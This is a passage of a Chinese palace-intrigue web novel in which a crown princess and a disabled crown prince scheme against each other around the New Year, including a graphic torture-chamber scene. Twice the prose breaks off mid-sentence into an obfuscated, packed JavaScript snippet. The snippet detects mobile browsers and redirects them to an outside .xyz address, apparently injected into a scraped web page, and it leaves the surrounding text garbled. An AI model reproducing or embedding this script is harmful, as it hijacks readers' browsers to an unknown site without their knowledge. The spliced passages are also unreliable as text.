李管家领旨谢恩,路过祁允辞时还特地望了她几眼,本就难看的五官,更是因为此时的动作像是一张老树纵横沟壑的皮,愈发的丑。 “太子妃这些日子怕是被炭火烤热了脑子,做事如此没轻没重,就在外面好好醒醒吧。” 皇后说完这句话直接关上了殿门,独留祁允辞与阿萤两人跪在门外。 傍晚的温度本就越来越低,竟然不知何时,天边又飘起了雪,四周洒扫的宫女奴才在祁允辞身边来来往往,却没有一个人敢给主仆二人撑上一把伞,祁允辞本就在今日跳了冰湖,又在太子的寝宫内热出了一身汗,如今跪在殿前,已经发起了低烧。 阿萤跪行两步,握住了祁允辞的手,总想让她暖和些。 天彻底黑透了,宫门要落锁了。 厚厚的雪压塌了绿梅的枝,啪嗒,一整朵掉在了地上,惊醒了迷糊闭眼的祁允辞。 落锁了。 皇后从大殿内随意往窗外瞥去,只见得那位不可一世的郡主老老实实跪在那里,不敢有丝毫不敬,忽然笑了一声。 “你说燕王会想到自己疼爱了一辈子的女儿被如此磋磨吗?” “娘娘,您给太子妃立规矩是理所应当的。” “理所应当?本宫都不敢想,她那位皇后姑姑若是还在世,这位自幼就敢拿着玉玺玩闹的郡主能被娇惯的多么无法无天,罢了,毕 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“是,有。”贺遇懒洋洋的开口“但孤懒得想,一来孤不想去宫中过小年,二来太子妃和陛下不都想知道孤的腿怎么样了吗?孤满足了他们的好奇心,还有什么不妥吗?” “并无,只是自古有言‘夫妻相合好,琴瑟与笙簧’,殿下想要治国必先齐家,而齐家则必先修身,在下以为您如此算计您的妻子,有违圣人之道啊。” 贺遇略叹了口气,手指转动着玉扳指,久久没有说话。 “先生教训的是,是孤想起母后之死,一时难以自禁,明日一早,孤会亲自同太子妃道歉。” “殿下也早些休息吧,太晚了。” 李径寒出了门,接住了外面的落雪,李管家在后面追出来送上了伞“李先生慢走。” “嗯,快小年了,这几日在下就不来了,劳李管家替在下祝殿下安康和乐。” “是。” 怀安殿这边,岁寒早早就指挥着人,煮好了驱寒的药,给阿萤和祁允辞灌了下去,祁允辞蜷在榻上,吐出热气,感觉嗓子有说不出的疼,岁寒烤热了自己的双手,替祁允辞正在点穴位,酥酥麻麻的感觉席卷了全身。 祁允辞已经耷拉上了眼皮,感觉自己同整个世界都隔着一层,慢慢的,在所有人的悉心照顾下睡着了。 更星拽了拽坐在一旁的阿萤,小声说道“快去睡会儿吧,免得你一会儿也病了,郡主会心疼的,这边我们照顾着呢。” 阿萤点了点头,用自己暖和的手,摸了摸郡主的额头,虽然什么也试不出来,这才缩成一个球,也不愿离开,就睡在窗台下的软榻上。 岁寒叹了口气,指挥更星将火炉移进了些,又拿出汤婆子塞进了被子里。 华岁收了李管家送来的东西,放了太医进门,但太子府的人一律被挡了回去。 祁允辞今夜睡得不算安稳,竟然让她梦见了四年前。 那时她父亲新丧,燕王困守陇右道,竟与朝廷有了分庭抗礼之势,那日府中出了叛徒,给燕王下毒,伤了眼睛,此毒难解,祁允辞不似陇右道其他人一般打眼,于是一人一骑一枪,闯进了永州的药王谷。 药王虽配有解药,但不敢私自给燕王用药,此时燕王身系大梁国土安定,祁枭还未成长到能够执掌镇北军的地步,若燕王死,天下必定大乱。 但也不知为何事情发生的就是这样凑巧,在祁允辞一次外出采药的时候,捡到了身中同样剧毒的贺遇,此时他的双目失明,双腿亦因毒素而残,祁允辞把人拖回了药王谷,直接在他身上试药。 那段时日,恐怕是这位皇子最悲惨的日子,先出虎穴,又入狼窝,整个人吐了又被喂药,为防止挣扎就直接拿绳子绑着,自从祁允辞知晓他腿上的毒与燕王所中的毒无关,便根本不给他治疗。 冷热交替,浑身没一块好肉,直到有人来寻太子,才被丢出了药王谷。 祁允辞此时也感受了一把又冷又热,哈,她在冷笑了一声,果然,留着元帝这种造反之人的血,能是什么好东西? 早知道,早知道,管他什么国家安定,防止世家专权,就应该杀了这个来位不正的储君,最应该宰了元帝! 10. 黑市问斩结案日,小年放火烧东…… 岁寒再次拦下了前来慰问的李管家,怀安殿内,直接将东宫中的奴才和宫女全赶了出去,而贺遇也默认了祁允辞的做法,甚至将东宫的私产奉上,交由太子妃打理。 “主子。”岑佑行礼,脱了披风后站在祁允辞一旁,低声说道“楚柯昨日午时已经问斩了,但他于临死前大喊四大世家草菅人命、陛下得位不正,残害忠良,此事在民间引起了轩然大波,陛下今日上朝勃然大怒,连谢运都吃了挂落。” 祁允辞抬了一下下颌,示意岑佑接着说。 “据我们的人说,昨日楚柯要求见自己的私生子才肯交代具体名单,甚至包括书信往来以及账本账目,但是谢运去的时候,人已经死了。” “死了?四大世家下的手?” 祁允辞蹙着眉,她在此时并不介意楚柯咬出镇北军与走私盐铁之间的关系,祁枭和她早在看见汤和的信时就已经推测出黑市走私线都是独立的单行线,并且找好了替罪羊,所以根本不可能在此时杀人。 “目前还不知。” “那他交出账本了吗? “没有,他说都记在自己的脑中,现场默写,签字画押了。” “书信也默写了?谢运信了?” “没有,但谢运信了,楚柯和汤和同为景帝二年时的进士,的确有过目不忘的可能。” 祁允辞不明显的白了岑佑一眼,拉下嘴角显出了几分无语,将身上的毯子又裹了裹“咱们这位陛下呀,白瞎了这么长时间的努力,要是拿到账本也就罢了,可如今不过是楚柯临死之前默写出的一堆不知真假的东西,他能扳倒谁?不过轻拿轻放,不用管了。” 祁允辞喝了一口茶,“给兄长传封信,若是陛下问罪此事,就将那个叛徒推出去,陛下没有实质性的证据。” “是。” “等等,查清楚到底是谁杀了那个私生子,总觉得并非是世家所为,还有提醒楚清舒,万事小心。” 岑佑领命就走,而此时的贺遇则收到了功成的消息,并拿到了楚柯口中的账本与书信。 “主子。” 凌霄双手将信件奉上,包括银两的收支,购买者,都清楚记录在案。 “主子,顾时安大人说,今日陛下于朝堂上,以谢运办事不利为由,罚了两个月的俸禄,而四大世家也遭受了训斥,甚至是三皇子都没得到几分好脸色,据说,也已经写信给镇北侯,要说法了。” 贺遇笑了笑,对这个既定的结局其实并不感兴趣,他从得知楚柯还有外室子的那一刻便已经猜到了账目应当在他们手中,并且连家中银两的开支都是他留给自己的一条后路,如若世家护住了儿子,并想办法捞他,那么他自不会交代任何不利的证据,如果世家不愿意护住人,那么银两,便会促使陛下找到账本,只可惜,黄雀在后,便宜了他贺遇。 “殿下,为何不将这些东西给陛下呢?反而还要。” “因为陛下拿到了,会对镇北侯发难,如若他们没有准备,那么可能会让渡兵权,但这不行啊,孤还娶了他的妹妹,那就是孤背后的势力啊。” 贺遇喝了口茶,随后又接着说道“倘若陛下怀疑到祁家头上,认为是镇北侯府杀人销赃,就把祁允辞坑下水,祁枭为了妹妹,也会彻底站在孤这一边。” 说完他便不再去想那所谓的父皇被戳了脊梁骨后,会有何等暴怒。 “谢运你干什么吃的?人你都守不住,不过一个晚上。” “陛下恕罪。” 元帝看着跪在地上的人简直气不打一处来。 “陛下,臣必顶将功折罪,查出是谁干的,敢在京中杀人。” “那谢大人觉得是谁?” 陈衡抿了一口茶,戴着面具,开口问道“既然大人敢夸下海口,那么必定已经怀疑的人了吧。” 谢运斜睨了一眼陈衡,对着陛下又是一拜“陛下,虽说楚柯与行刑前高呼世家该死,但臣以为,并不是世家,虽说他和汤和是谢阁老的学生,后又入了崔相门下,但臣以为最可疑的,是镇北军。” 陈衡嘴角泛起一丝嘲讽的笑意。 “先生是何意?” 陛下问道“有话直言。” “回陛下,臣以为,先不说镇北军离京早已半月有余,就算有人留在京中,又该由谁组织,又该如何探听大理寺讯息呢?” “自然是听太子妃的。” 谢运打断道“臣当日于汤和府中就曾遭遇两名女子劫道。” “哈。” “可是太子妃当日正于东宫罚跪。” “她故意如此,就是为了洗清自身嫌疑,否则,她怎敢推太子殿下下水啊。” 陈衡忽然起身,跪服于地“陛下,草民斗胆,您确定太子爷一定站在您这一边吗?” “放肆。” 陛下怒骂一声,摆了摆手,让谢运退了出去。 “先生为何认定是太子?” “陛下,太子落水的时机太巧了,失足,受惊?草民倒是觉得这更像是在将太子妃引上台前,明目张胆的告诉陛下,镇北侯府有不臣之心,而太子妃更是胆大包天,绝非普通女子可比,若陛下真以此事追究太子妃,并顺着这条线调查,恐怕,会真的将侯爷逼向太子那一边。” “罢了,起来吧。” 祁允辞看着此时竟逐渐张灯结彩的东宫,愣了愣神“怎么回事儿?” 好不容易在积极努力下见到太子妃的李管家赶紧开口解释道“是陛下念及太子和太子妃风寒未愈,特准许不必进宫,可自行过小年。” 祁允辞靠在梅园凉亭内,偏头望向李管家“本宫怎么不知道?” “是殿下怕您风寒未愈,所以就没让人来打搅,至于赏赐,明日便会登记造册送到太子妃殿中。” 祁允辞也不打断,带着点儿笑意的等着接下来的话“咳,殿下希望太子妃能一同过年节。” 祁允辞轻笑出声“那还是劳烦殿下,亲自相邀吧。” “拜见太子殿下。” 身后的侍从们纷纷行礼,贺遇正坐在轮椅上,遥遥望着靠坐在凉亭内的郡主“孤亲自相邀,不知,朝瑶可赏脸啊?” “那是自然,臣妾同殿下本就夫妻一体,自然是相互扶持,亲密无间。” “孤敬太子妃。” 小年夜,东宫内挂上了民间的彩灯,甚至还有焰火在一侧燃放,本被赶出府的戏班子又唱起了祁允辞最为钟爱的戏,而主人家坐在暖阁内,四周围上了一圈银丝碳,而此处建筑之精巧,更是不知用什么方法,引出来了星罗棋布的温泉水,将暖阁围在了中间,升腾起阵阵烟雾。 “朝瑶谢过殿下。” 祁允辞仰头将酒一饮而尽,两人也不讲究,就这样吃了起来,甚至还上了一盘烤羊肉,此时没有了算计,倒是和寻常夫妻一般说起了闲话。 “孤向太子妃赔不是,那日,孤不过是想起了自己的生母,一时晃神,这才不小心落水,倒是让朝瑶受了罚。” 贺遇说完,仰头就喝了三杯,眼角泛着红,眼中盛着泪,那苍白的面容削弱了刚毅,多了两分不可言说的脆弱,祁允辞忽然发现,在自己面前,贺遇永远是这般没心机惹人怜惜的样子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596602|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下,也是臣妾不好,不知晓此事,还吓到了殿下,难怪东宫上下,说是已经多年没有再过年节了,原是如此,先皇后病逝真是令人惋惜。” 祁允辞的声音带着心疼,就像是妻子看见丈夫的脆弱后,而感到的痛惜一般,她略扬起修长的脖颈,好似喝醉了,又好似和贺遇一样在袒露自身的脆弱,引的人不断走向她,妄图交颈而歌,两人在寒夜互相舔舐伤口,耳边发丝上坠着的红宝石,都难以与她此时的美丽相提并论。 贺遇略微撇开了头,接上话,说道“孤的生母病逝于小年夜的前一晚,那一日孤兴高采烈的冲进王府,看见的只有孤母亲的尸首。” “殿下如此伤心吗?” “是啊。” “那您可真是,让臣妾倾佩啊。” 祁允辞忽然凑近,勾唇,气息相互纠缠,又互相压制“殿下,您的母亲真的死在小年夜的前一晚吗?” “什么?” 此时的发展并没有向贺遇想象中的那般,走向安慰、共情、引颈就戮、予给予求。 “殿下,别博同情,臣妾会心疼的。”祁允辞的手环上了贺遇,此时太子爷的眼中也造就了没有了故作深情的神色“郡主想干什么?” “当然是,送太子一份厚礼啊。” 祁允辞的声音明快而清脆,伴着诱哄,带着贺遇抬头,刚好一簇焰火炸上了天,又落了下来,一瞬之间,掀起了滔天的火焰,正好落在怡香阁上。 贺遇直接将祁允辞从身上掀了下去,冷下脸来,那深邃的面容在灯火的照耀下染上了明显的怒气,耷拉下眼帘,望向此时端着酒杯,坐在椅子上笑的张扬的女人,让他一瞬之间梦回四年前任她摆布时的狼狈。 “哈。”他最后轻笑出声,宛若是地狱里勾魂的野鬼,本因醉酒而攀上红晕的脸颊,在漫天火光的照耀下,竟让人寒意遍生。 “殿下,怡香阁,着,着火了。” 李管家冲进暖阁,看着正在对峙的主子们,一瞬之间哑了火。 “那现在还不滚去救火?” 贺遇盯着祁允辞,头也不回的撂下这么一句。 “殿下,别生气么,臣妾已经吩咐人了,让怡香阁的姑娘们注意着,不会有人受伤的。” 祁允辞整理好自己的衣襟,淡定的坐在椅子上,宛若不下神坛的神女,火红的狐裘,衬托的她张扬又明艳,薄唇轻启“殿下这般担心,莫不是怡香阁内有什么见不得人的东西?” “太子妃,想多了,没有,毕竟孤早已对一名民间女子一见钟情,在此之前,孤也没兴趣碰别的女人。” 恶心死你。 祁允辞的眼角抽动,贺遇这孙子是疯了吧。 贺遇看向怡香阁的位置,缓缓吸了一口气,最终还是只说了一句“太子妃早日休息吧。” 说罢,直接离席,扔下了祁允辞一人。 祁允辞也不挑剔,直接拿起酒杯,又给自己倒了一杯酒,无端想起了自己还在离北大漠时的年节,那个时候啊,表嫂张罗着菜肴,表哥更是没有什么宛月族族长的架子,跟在后面忙前忙后。 燕王和侯爷谈天说地,她和祁枭以及阿诗勒津舞枪弄棒的助兴,闲着没事儿还能弹两手琵琶古琴,故作风雅,然后被侯爷嘲笑学艺不精。 祁允辞笑出了泪,就好似还同以前一样,倒了两杯酒,举杯敬明月,敬生恩,谢亲生母亲带她和兄长来到这世间,敬父母于战乱中保全她和祁枭。 只是如今,又多了两杯浊酒,敬的是养恩。 “伤心千里漠北,哀词怨曲,试问明月,断魂在否?” 11. 宫中年礼休战时,太子暗室送亡…… “殿下安好啊?” 祁允辞坐在马车上,手里捏着酥饼,吃的正开心,看见贺遇上来,往旁边挪了挪,丝毫看不出那天小年夜坑惨贺遇的样子。 “太子妃,年节好。”贺遇温和的笑着,眼中依旧盛着深情,就好似这段时间为东宫着火,应付皇帝忙的焦头烂额的人不是他一般。 从小年到今日进宫过除夕,他们都一直没见过面,也可能是心照不宣的休战信号,毕竟都怕还没达到自己的目的,就被枕边人给坑死了。 “太子妃,你同孤能消停两天吗?做对正常夫妻?” 贺遇的手指摩挲着汤婆子,偏头望向坐在身侧的妻子,还顺手给她倒了杯花茶。 “殿下这是在求和吗?”祁允辞也不接,放在桌旁,浅笑着问道“好没诚意啊。” 贺遇支着头,别开眼,挡住了溢出的笑意,反而拿出了一个小巧的,羊脂膏玉做成的令牌,上面纂刻着虎纹。 “这是什么?” “东宫令牌,有了她,太子妃可自行出府,不必向孤汇报什么。” 祁允辞接过令,在手中把玩着,随后便收了起来,端起茶杯“既然殿下诚心要给,硬要臣妾收,臣妾哪能不给您面子啊,先干了,您随意。” 祁允辞仰头,一杯花茶,喝出了烧酒的气势。 贺遇盯着她,描摹着她的神态,实在忍不住,笑出了声“太子妃说的是,是孤硬要太子妃收下的,太子妃可千万要赏脸。” 马车内的交谈声摔碎在了宫车的滚滚向前中。 其实不论是贺遇也好,还是祁允辞也好,做事都并未真的下死手,毕竟对方对自己还很有用处。 贺遇想起那日他特地去暗室给他们送行时的场面。 凌霄推着轮椅,穿过了阴冷的滑到,进入到地下,没有凄厉的惨叫声,只有被吊起来的人有着微弱的气息,还证明着他们有生命体征,老鼠的吱吱声在伴奏,细碎的啃咬着腿上的肉。 那已经不能叫腿了,或者说除了骨架已经看不出来,是一个人了,裸露的白骨上挂着松散的皮和肉,甚至坠着一只老鼠,看见人来了,迅速跑走了。 “杀了我。” 微弱的气音,平淡的,生无可恋的祈求着贺遇给一个痛快。 四年,死不掉,活不了,暗无天日的挂在这里,眼睛宛若蒙上了一层纱,看不清,也记不住时间,唯有人每一日,从他们身上切下一块肉,别人死了也就死了,唯有他,贺遇甚至还用灵丹妙药吊着他的命。 “嗯,孤今日就是来送你们去死的,当然也不会让你一个人走,你的妻子、孩子、族人都会下去陪你。” “疯子,你无半点仁君之心,你难堪太子之位。” “哈,哈。”贺遇忽然低低笑了两声,回荡在空荡的黑暗中,那语调很轻,像是哼着小曲一般的悠长。 “李平,你杀了我的母亲,你害的孤瞎了眼,瘸了腿,现在来跟孤说什么太子之位,谈什么仁义礼智信?” 贺遇高高在上,悲悯的看着眼前人,红菱识趣的将光往前照了照。 “你看看孤,是不是特别后悔没宰了孤。” “太子殿下!”李平的口中干涩,如同被沙砾打磨过一般的粗糙“是陛下,是陛下下的令,小人也不过只是听命行事,殿下,求您放过我的族人,您杀我一人就好啊。” 贺遇勾了勾唇,亲自拿过油灯,送到了李平的眼前,久不见光的眼睛,怎么能被这么照着啊,一瞬之间,眼泪就涌了出来。 “不杀你的族人?” 贺遇反问道。 “是,是,殿下,求您,仁君,为圣人道也啊。” “不杀他们,等着他们来杀孤吗?”贺遇冷嗤一声。 “殿下!他们不会的殿下,他们不过是些贱民啊,殿下。” “会如何?不会又如何?李平,这不重要,孤从腿断之后,就不信什么圣人道了,孤的母亲难道不是圣人吗?她甚至对你有救命之恩,难道当年御外敌,救万民的四境主帅祁御不是圣人吗?最后他留得了一具全尸吗?他甚至连自己的儿女都护不住。” 贺遇忽然平静下来,本有波澜的神色一瞬间又恢复平静,宛若深不见底的深渊“放心吧,孤会送孤的好父皇一并下去陪你和你的族人们的。” 贺遇示意凌霄,离开了这里,刚推出牢门,就听见一声闷哼,吊了四年的气终于断了。 贺遇轻笑一声,而祁允辞今日心情也不错,甚至还纡尊降贵给太子爷倒了杯茶。 “谢过太子妃。” 贺遇刚说完,就听见李公公在一旁提醒道“太子殿下,太子妃娘娘,宫门到了。” 两人刚下马车,就和迎面走来的三皇子、五皇子以及他们的正妻侧妃撞了个正着。 “臣弟,妾身,拜见太子殿下,太子妃娘娘。” “嗯,免礼。” 祁允辞略上前走一步,饶有兴趣的看着三皇子妃手中抱着的孩子, “弟妹好福气。”祁允辞笑着恭贺道,直接取下了自己手腕上的汉白玉翡翠雕花串珠,在小殿下的脸上拨弄着,逗得人哈哈直笑“本宫还没给这位小皇孙准备见面礼。”她扭头,嗔怪的看了贺遇一眼“殿下也不知道提醒着。” “皇兄皇嫂感情和睦。”那三皇子妃和五皇子妃对视一眼,齐齐朝着祁允辞开口“皇嫂别怪弟妹们玩笑,来年必也会又添一位皇孙。” 祁允辞笑着应承着,只是内心倍感无语,翻了个白眼。 一旁响起略显突兀的笑声,破坏了此时和谐的氛围。 祁允辞和贺遇共同望向五皇子,那皇子自是容貌不凡,只可惜,周遭过于锋芒毕露的气息,有些不知天高地厚了,让人不喜。 五皇子的目光落在贺遇身上,其中快要溢出的嘲讽让祁允辞有些不爽。 “五弟是在笑什么?”贺遇随意的扫了他一眼便离开了,根本不正眼瞧他。 “咳,回皇兄的话,只是想起了一个民间的笑话,这才发笑。” 就在祁允辞刚准备开口的时候,肖培安从宫中小跑着过来“哎哟,各位主子爷们,怎么都站在宫门口拉家常啊,快随咱家入座吧,可别让陛下等急了。” 祁允辞从凌霄手中接过轮椅,走在贺遇的身后,斜睨了后面的五皇子一眼,悄声对贺遇说道“殿下的弟弟,臣妾不太喜欢。” “那太子妃自行教训就好,还要孤替你出头吗?” “殿下,他是在嘲讽您不行啊。” “那孤总不能现在向他展示,孤很行吧。” 祁允辞轻笑着,撇开眼,两人就这样明目张胆的咬起了耳朵。 大殿内早已是喜气洋洋的一番景象,皇子,后妃,先后向陛下送上祝福,献曲、献词、献舞,争奇斗艳,祁允辞还只有在武帝时期见过此等场景,她拉了拉贺遇的衣袖“殿下,臣妾以前就有一个问题,你说陛下这么多妃子,他记得住谁是谁吗?” 贺遇也很配合的往祁允辞身边凑了凑,用气音答道“不知道陛下记不记得,反正孤是记不住得。” 祁允辞咬了咬舌尖“五皇子的生母是王家的嫡女吧。” “嗯,德妃。” 祁允辞透过表演的才人、常在,望向陛下身侧,随后又转向一边“倒是和皇后有几分相似,不过被庶女压一头的滋味恐怕不好受。” “嗯,据说,德妃在家中经常瞧不起庶女庶子,不过,德妃的手段可比上咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600772|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位皇后。” 祁允辞没有接话,反而逡巡了一圈,问道“谢家没有入后宫的女人?只有一个嫡孙女给三皇子做了正妃?” “他们谢家,不做妾,说是文人风骨。” 祁允辞点点头,盯着那三皇子妃怀中的孩儿,显得很感兴趣。 “朝瑶喜欢孩子?” “算不上,只是想起小侄女了,也不知道还记不记得我。” “朝瑶讨喜,必让人过目不忘。” 祁允辞还没来得及回话,皇上就亲自起身,,众人赶紧随后,在焰火燃放的漫天火光中共同举杯,说着新年的道贺词。 “各位坐吧,来年开春,便接上了春狩,诸位可不要让朕失望了。” 五皇子赶紧上前“请父皇放心,儿臣必定尽心尽力,为大梁开吉兆。” “蠢货。” 祁允辞轻轻评价道,贺遇非常表示赞同。 “五皇弟此言差矣,父皇今年励精图治,早已为明年开了吉兆,至于春狩,不过锦上添花而已。” 三皇子贺珏举杯说道。 祁允辞用手肘轻轻撞了贺遇一下“殿下也说点儿什么啊,风头都被抢了。” “孤都这样了,孤说什么,祝你们拔得头筹,玩的开心么。” 也不知道戳中了祁允辞哪里的笑穴,手顺势握住了贺遇的手腕,笑了起来,眼里好像闪着光,盛着新年未放完的焰火,凑近了些,轻声说道“殿下不若求求我,我可以送殿下平地上青云,打只老虎也不为过。” “滑舌。” 在今日,祁允辞和贺遇两人度过了第一个年节,也是新婚后,第一次心平气和,没有算计的坐在了一张席上,随意的不愿引人瞩目的聊着天。 奈何总有人要来招他们。 “怀瑾,你和太子妃在聊什么?” 陛下于高台之上垂问,祁允辞同贺遇两人赶紧举杯,不走心的祝福话张口就来。 “朕记得小辞的箭法也是相当了得啊。” “陛下抬爱了,臣妾那点儿绣花腿的功夫,则能与诸位皇子相提并论?不过是练着玩儿罢了,顶多强身健体。” “你们祁家要是花拳绣腿,朕的大梁可就没有武功了得的将军了。” 祁允辞赶紧作揖拱手行礼 “父皇,您这真是折煞臣妾与兄长了,每一场击退外敌,打下疆土的胜仗,若没有全国戮力同心,没有您鼎力支持,臣妾同兄长就算是三头六臂,也毫无胜算可言啊。” 元帝望着眼前低眉垂目的太子妃,笑出了声“行了,朕夸你,你就受着,哪有这么多话,你和三皇子家新添的小皇孙一样,都是新人。这样吧,朕准你今年春狩,替怀瑾上场,不必拘谨。” “这……” “嗯?” “儿臣遵旨,必不辜负陛下抬爱。” “好,把那小皇孙抱上来给朕瞧瞧。” 祁允辞环顾四周,在听见陛下所说之时,有人嗤之以鼻,也有人表情平淡,看不出深浅。 “放心。”贺遇在一旁轻声说道“尽管去做,绝不会有事。” 祁允辞抬眼“殿下不怕臣妾一个猎物都赢不到?” “那又如何,难道敢有人说太子妃的不是不成?” “可殿下,五皇子今日就笑话了您。” 贺遇反手扣住祁允辞的指尖,将人拉近了些,热气扫过她的面颊,侧脸有些痒,就听见“那太子妃猜猜,明日孤这位皇弟会丢多的大脸。” “殿下,眦瑕必报,非君子所为。” “非君子所为,可却应是朝瑶夫君之所为。” “哈,殿下才是油嘴滑舌的典范。” “彼此彼此。” 12. 郡主晨往护国寺,回程路遇奇女…… 在昨日落了一夜雪后,今早的阳光穿透了薄雾,离年节早已过了十日有余,贺遇的年假也结束了,早早去了大理寺,而祁允辞则套上了马车,穿过还未热闹起来的坊市,走大道去了护国寺。 大清早的露水重重压着,略有青苔的石板路营造出深山老林清幽的世外之境,实则这几座寺院,就在京都的城门外,而护国寺作为皇家寺院,更是常年泡在利欲熏心的酒缸中。 祁允辞随手摘了一只雏菊,就被早早迎在寺院外的常念法师行了一个佛礼“施主。” 话还没说完,雏菊花就已经塞在了这位年轻法师的手中,那个光头晃的祁允辞眼睛疼,她对什么佛法更是不感兴趣,从小最怕的不是罚站、挨打,而是被扔进护国寺,听这群秃驴念经。 祁允辞步履匆匆,直接穿过了烟云缭绕,梵音阵阵的主殿,直奔那棵菩提树下的禅房,对着常念抬了抬眼“秃子,我想要求一粒菩提子。” “郡主,你不说求,小僧还以为您大清早来打劫的呢?” 常念低眸,宛若真正的佛陀“郡主,敬鬼神而远之,今日,替远在漠北的小王女上一炷香吧,就算佛祖自在心间,也总要让它知道,保佑的人是谁。” 常念不染凡尘,雪白的僧衣,衬得他真跟得道高僧一般 祁允辞略感诧异的抬头望了他一眼,毕竟从幼时起,哪怕是他师傅持善法师都未曾要求她再跪地礼佛了? 拿过那缺口的破茶杯,冲涮了一下,祁允辞便直接倒了杯茶,并没有搭腔,反而另起了话头。 “也不知道把这里修缮一下,陛下少了你这破禅房整修的钱?” 常念再行佛礼,慈眉善目,宛若佛陀亲临,难怪年纪轻轻就已经有无数信徒,就冲这张世外高僧的脸,也足够诓骗住人心,只可惜说出的话却显得有些掉价。 “哎,只有这样,才能展现小僧一心修道,不惹尘埃嘛,信的人多。” 祁允辞轻嗤一声,直接转身离开,就听见常念在身后喊道“郡主,拜完佛祖,记得回来取菩提子!” 山下,祁允辞坐在马车中,越想越感到生气,只觉得她当时真是瞎了眼,常念那贼眉鼠眼,一心钻进钱眼儿里的东西,能是什么得道高人,若是佛祖的传人都长这样,她这辈子都不会再踏入这破寺庙一步。 更星并不敢触她家主子的眉头,但总有人要做愣头青,阿萤便是头最铁的那一个。 “主子为何去这么久,为何要去东宫取十两金子,不是不信佛吗?莫不是被骗了?” “闭嘴。”祁允辞重重砸了一下茶杯,手里握着和十文钱买回来的别无二致的菩提子,只觉得自己疯了。 “恼羞成怒。” “滚出去。” 阿萤坐在车外的横梁上,抓着缰绳,撇了撇嘴,又嘟囔了一声,就被丢出来的软枕砸了一下。 祁允辞悻悻地闭上眼,回想起常念给她菩提子时的场景,气得直咬牙。 “郡主,十文不够。” “你们护国寺不是不涨价吗?” “但我们坐地起价啊。” 常念笑得一脸人畜无害。 “小王女身份尊贵,又来自漠北宛月,佛祖去保佑一趟路途遥远。” “那你想怎么样?” 祁允辞的眼角抽搐。 “十金。” “你怎么不去抢?身上没这么多,你先给我,回去就让人给你送过来。” 祁允辞伸手抓住菩提子红色的绸带,却没有拽动,常念握着,一副悲天悯人的样子,奈何说出的话,让人想打死他“还请郡主命人送过来,概不赊账。” “你还怕镇北侯府欠你钱吗?算了,来你这小僧,下山一趟,去找本宫的婢女。”祁允辞放弃了和这高僧胡搅蛮缠,坐在了禅房里,甚至还被送上了一碗素斋。 ………… 更星在一旁讨好的笑着,往祁允辞身边靠了靠“主子,和你说,近日李太尉家要将一位寡居多年的小姐,嫁给翰林院修撰的桑大人,这事儿闹得沸沸扬扬的,和好几天前五皇子当街坠马的事有的一比。” 祁允辞偏头,被吸引了注意,略不解的问道“一个从六品,倒是攀上高枝了?” “倒不是这,而是京中都在讨论女子该不该为亡夫守节,有不少人认为寡妇不可再嫁,有违天道伦理。” “管得着吗?”祁允辞摆了摆手“自己家一亩三分地都管不好,还管上别家嫁女儿了?” “可不是。”更星探身,将软枕捡了回来,接上话“不过倒也没人敢传到李家的耳朵里,毕竟权势压人。” 话刚说完,马车便停了下来,本来祁允辞准备今日就回东宫的,但在护国寺耽搁太久,便干脆去庄子里过夜,抄了条近道。 “怎么了,阿萤?” 更星探出头,悄声问道。 祁允辞掀开了车帘的一角,被寒风一刮,露出精致的下颌,顺着视线望过去。 一个二流子装扮的少爷,像是这辈子没见过黄金,全堆在身上,像是大年夜忘记杀掉的年猪,肥头大耳的,让人犯恶心,四周围了一群仆役看着凶神恶煞的威胁着站在中间的女子。 马车的停滞自然吸引了众人的目光,低调的檀香木马车并无任何标识,那少爷自是不放在眼里,只是在看见车辕上的阿萤和更星时眼中露出了一分贪婪。 “哎,干什么呀,吓到小娘子了。” 那蠢货整理了一下金银珠宝串起来的着装,故作高深的问道“两位姑娘,不知马车内何人?在下可让你家主子先行过去。” “好,那就有劳了。” 祁允辞在阿萤开口管闲事之前打断了。 短短一句话,让赵全眼中划过惊诧,没想到马车内坐着的竟是一位女子。 他低眸不知想些什么,忽然开口“姑娘勿怪,吓到姑娘了,在下这个小妾啊,不听话,好吃好喝的供着,还想着往外跑,要是天黑了多不安全,在下敢问姑娘芳名,在下可护送姑娘回家。” 祁允辞并不搭话,反而将帘子又掀开了几分,看清了中间姑娘的模样,泥和水混在脸上,冻的泛红,头发披散着,甚至还滴着水,祁允辞垂眸,修长的手指轻轻敲击着窗棂,吸引着那男子的视线,带着笑意的问道:“送我?” 那名女子趁着说话的功夫悄悄往那男的身边移了移,素色的,并不厚实的衣袖下,露出了发簪的一角,在夕阳的映衬下泛着光,电光火石之间直接扎向了他的眼睛,可随后便被赵全一把打落在地。 “贱蹄子。”赵全直接上手将人按在了地上,祁允辞和阿萤刚准备出手,就听见赵全发出一声惨烈的叫声。 “都不许动!”那女子手中不知何时藏着一块碎掉的瓷片,紧紧抵在赵全的喉咙上,不断颤抖的指尖泄露出她的紧张,一瞬间,两人都见了血,“我说,往后退!” 沙哑的,干涩的声音炸响在所有人的耳边,那一双眼睛是冷静的,是置之死地而后生的,没有丝毫畏惧。 祁允辞挑眉,直接扔出茶杯正中那名女子身后的一个拿着棍子的杂役。 茶杯盛不住力道,竟在撞上额头之后炸开了。 